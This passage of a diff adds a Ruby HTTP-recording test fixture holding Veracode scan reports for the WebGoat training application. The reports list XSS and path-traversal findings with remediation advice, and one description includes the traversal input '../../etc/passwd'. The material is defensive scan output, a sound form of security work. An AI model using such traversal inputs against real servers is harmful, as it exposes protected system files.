+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:11:07 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:11:10 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:11:09 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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